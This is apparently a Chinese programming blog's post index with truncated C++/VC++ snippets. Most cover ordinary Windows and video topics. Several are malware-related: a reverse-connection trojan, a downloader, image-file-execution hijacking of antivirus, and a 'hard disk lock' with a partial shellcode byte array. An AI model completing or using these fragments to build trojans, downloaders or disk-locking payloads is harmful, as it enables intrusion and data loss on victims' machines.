- 博客(33)
- 资源 (5)
- 收藏
- 关注
原创 BITMAP转YUV420
// only support to BITMAP 888 convert to YUV420spU8 *OSD_Bitmap888ToYUV(U8 *bitmapFileBuff, int *pYuvWidth, int *pYuvHeight){ BITMAPFILEHEADER fileHeader; BITMAPINFOHEADER infoHead; long
2018-01-23 15:15:35
938
转载 webrtc参考资料汇总
WebRTC相关模块及接口详细结构图:WebRTC 学习笔记(1)--总述 http://blog.chinaunix.net/uid-26000296-id-5612800.htmlWebRTC 学习笔记(2)--libjingle 部分 (P2P传输) http://blog.chinaunix.net/uid-26000296-id-5612831.htmlWebR
2018-01-22 14:05:36
381
原创 log
[/ext/nfs/video]## ./venc xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxUsage: ./venc [-n number] [-h] [-u]-h: Display help info-u: don't save file-n number options
2018-01-22 10:16:47
765
原创 海思动态修改分辨率及码率控制方式
int Hisi_set_video_fmt(HX_MEDIA_SYS_PARAM * pMediaSys, int iMediaId, int enVideoFmt, int enRCMode, int bitstream){ HI_S32 s32Ret = HI_SUCCESS; PIC_SIZE_E enSize = PIC_HD1080; HX_VIDEO_ATTR * pVid
2018-01-10 16:17:25
6435
1
转载 InvokeHelper用法
ActiveX控件的方法和属性操作与生成的C++类成员函数相关联都是通过InvokeHelper函数的调用来完成的,InvokeHelper函数的第一个参数是由Component Gallery(控件提供者)提供的。因为经过这样的处理,所以我们如果要调用ActiveX控件的方法或对其属性进行取和设置操作,只需调用生成的C++类对应的成员函数便可。下面对InvokeHelper单独说明:
2013-01-28 16:32:25
2613
原创 VC++ 6.0 XP风格的实现
讲以下代码保存为 XPStyle.manifest 或 xptheme.bin<assemblyIdentity name="XP style manifest" processorArchitecture="x86" version="1.0.0.0" type="win32"/> <assemblyIdentity
2013-01-20 02:55:28
611
原创 VC对话框添加状态栏
1:添加字符窜资源String Tab2:CStatusBar m_wndStatusBar;3:在OnInitDialog()中加入 CRect rect; GetClientRect(rect); if(!m_wndStatusBar.Create(this)||!m_wndStatusBar.SetIndicators(indicators, sizeo
2013-01-20 02:53:44
619
原创 VC实现透明窗口
在OnInitDialog中添加以下代码:SetWindowLong(this->GetSafeHwnd(),GWL_EXSTYLE,GetWindowLong(this->GetSafeHwnd(), GWL_EXSTYLE)^0x80000); HINSTANCE hInst=LoadLibrary("User32.DLL"); if(hInst) { type
2013-01-20 02:52:33
525
原创 C++实现单一实例
在InitInstance()中添加如下代码:HANDLE hMutex=::CreateMutex(NULL,TRUE,"My");if(GetLastError()==ERROR_ALREADY_EXISTS){ AfxMessageBox("程序已经启动!"); CloseHandle(hMutex); return FALSE;}
2013-01-20 02:50:24
558
原创 C++打开或关闭光驱
#include #pragma comment(lib,"Winmm.lib")::mciSendString("set cadudio door open",NULL,0,0);//打开光驱::mciSendString("set cadudio door closed",NULL,0,0);//关闭光驱
2013-01-20 02:49:07
841
1
原创 VC++对话框添加工具栏
1:添加工具栏资源2:CToolBar m_wndToolBar;3:加入CRect rect;GetClientRect(rect);if(!m_wndToolBar.Create(this)){ TRACE0("Failed to create a toolbar!\n"); return -1;}m_wndToolBar.Loa
2013-01-20 02:48:15
661
原创 C++实现窗口置顶
//窗口总处于最上面SetWindowPos(&wndTopMost,0,0,0,0,SWP_NOSIZE|SWP_NOMOVE);
2013-01-20 02:47:04
2084
1
转载 C++端口反弹木马
代码:/* ==============================Rebound port in Windows NTBy shucx,2003/10===============================*/#include #include #pragma comment(lib,"wsock32.lib")void OutputShell(
2013-01-20 02:46:04
1174
原创 C++关机、注销及重启
在WIN2000以上执行关机、注销、重启代码需要调整权限://调整权限调用API关机函数HANDLE hToken;TOKEN_PRIVILEGES tkp;OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);LookupPrivilegeValue(NUL
2013-01-20 02:43:53
719
1
原创 C++实现程序开机自启动
可以采用以下方式实现自启动://拷贝到系统目录TCHAR TempPath[MAX_PATH];CString temp;::GetSystemDirectory(TempPath ,MAX_PATH);temp = TempPath;temp = temp + _T("\\INTRANET.EXE");int len = temp.GetLength();LP
2013-01-20 02:42:33
6179
原创 C++获取系统内存及分别率
1.获得系统内存情况MEMORYSTATUS *mymem; char s[6][20]; //获得系统内存情况 mymem = new MEMORYSTATUS; GlobalMemoryStatus(mymem); if(mymem->dwMemoryLoad>1024) { mymem->dwMemoryLoad/=1024; _itoa
2013-01-20 02:40:20
976
原创 C++获取IP
获取本机IP地址的方法:1.单网卡的情况:WORD wVersionRequested;WSADATA wsaData;wVersionRequested = MAKEWORD(1, 1);WSAStartup(wVersionRequested, &wsaData);hostent *p;char s[128];char *p2;//获得计算机名字ge
2013-01-20 02:38:56
826
原创 VC++隐藏对话框
void CServerDlg::HideDlg(){ ModifyStyleEx(WS_EX_APPWINDOW,WS_EX_TOOLWINDOW); WINDOWPLACEMENT wp; wp.length = sizeof(WINDOWPLACEMENT); wp.flags = WPF_RESTORETOMAXIMIZED; wp.showCmd = SW
2013-01-20 02:37:27
785
原创 C++结束进程
HANDLE handle; //定义CreateToolhelp32Snapshot系统快照句柄HANDLE handle1; //定义要结束进程句柄PROCESSENTRY32 *info; //定义PROCESSENTRY32结构字指info=new PROCESSENTRY32; info->dwSize=sizeof(PROCESSENTRY32)
2013-01-20 02:36:38
660
原创 C++下载者源码
#include #include #include #pragma comment (lib, "urlmon.lib") int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPTSTR lpCmdLine,int nCmdShow) { static char mulu[MAX_PA
2013-01-20 02:34:36
2177
原创 C++枚举磁盘
for(char i='A';i<='Z';i++){ char x[20]={i,':'}; UINT Type=GetDriveType(x); if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE||Type==DRIVE_CDROM) { printf("%s\n",x); }}
2013-01-20 02:33:00
646
原创 C++获取当前程序路径
CString strPath; //得到程序路径TCHAR szFull[_MAX_PATH];TCHAR szDrive[_MAX_DRIVE];TCHAR szDir[_MAX_DIR];TCHAR szFileName[_MAX_FNAME];::GetModuleFileName(NULL, szFull, sizeof(szFull)/sizeof(TCH
2013-01-20 02:31:54
700
原创 C++获取文件大小等信息
/* STAT.C: This program uses the _stat function to * report information about the file named STAT.C. */#include #include #include #include void main( void ){ struct _stat buf;
2013-01-20 02:30:04
622
原创 _tsplitpath函数用法
1._tsplitpath(sFilename, sDrive, sDir, sFname, sExt);sFilename:文件的完整路径(如:"C:\WINDOWS\system32\mm.exe")sDrive:文件所在磁盘,含":"(如"C:")sDir:文件所在目录(如:"\WINDOWS\system32\")sFname:文件名(mm)sExt:文件扩展名(.ex
2013-01-20 02:28:44
1480
原创 C++ SendMessage函数的一些使用方法
SendMessage(WM_CLOSE); //关闭程序SendMessage(WM_SYSCOMMAND,SC_MINIMIZE,MAKELPARAM(point.x, point.y)); //最小化SendMessage(WM_SYSCOMMAND,SC_RESTORE,MAKELPARAM(point.x, point.y)); //恢复SendMessage(
2013-01-20 02:26:37
4124
原创 CreateProcess函数使用
STARTUPINFO infoStart;PROCESS_INFORMATION infoProcess;memset(&infoStart,0,sizeof(infoStart));infoStart.cb = sizeof(STARTUPINFO);infoStart.dwFlags = STARTF_USESHOWWINDOW;infoStart.wShowWindow
2013-01-20 02:21:34
677
原创 VC++自绘界面
// MySkinDlg.cpp : implementation file//#include "stdafx.h"#include "MySkin.h"#include "MySkinDlg.h"#ifdef _DEBUG#define new DEBUG_NEW#undef THIS_FILEstatic char THIS_FILE[] = __FI
2013-01-20 02:14:36
818
原创 C++实现硬盘锁源码(危险!)
#include #include #include unsigned char scode[] ="\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c""\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72""\x7
2013-01-20 01:58:09
6085
6
转载 VC++编程实现镜像劫持
所谓的镜像劫持,就是在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\Image File Execution Options]处新建一个以杀毒软件主程序命名的项,例如Rav.exe.然后再创建一个子键“Debugger=”C:\WINDOWS\system32\drivers\“.以后只要用户双击 Rav
2013-01-18 16:09:15
495
转载 C++面试题解析
1.引言 本文的写作目的并不在于提供C/C++程序员求职面试指导,而旨在从技术上分析面试题的内涵。文中的大多数面试题来自各大论坛,部分试题解答也参考了网友的意见。 许多面试题看似简单,却需要深厚的基本功才能给出完美的解答。企业要求面试者写一个最简单的strcpy函数都可看出面试者在技术上究竟达到了怎样的程度,我们能真正写好一个strcpy函数吗?我们都觉得自己能,可是我们写出的strc
2013-01-18 11:29:55
407
原创 反弹端口木马源码
// BingToCmd.cpp : Defines the entry point for the console application.//#include "stdafx.h"#include "BingToCmd.h"#include #include #include #include #include #pragma comment(lib,"ws
2012-09-12 00:23:33
1385
原创 C++控制鼠标自动定时点击
void CTestDlg::OpenDis(){ PROCESS_INFORMATION pi; STARTUPINFO si; memset(&si,0,sizeof(si)); si.cb=sizeof(si); si.wShowWindow=SW_SHOW; //SW_HIDE si.dwFlags=STARTF_USESHOWWINDOW;
2012-07-28 13:06:40
5070
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人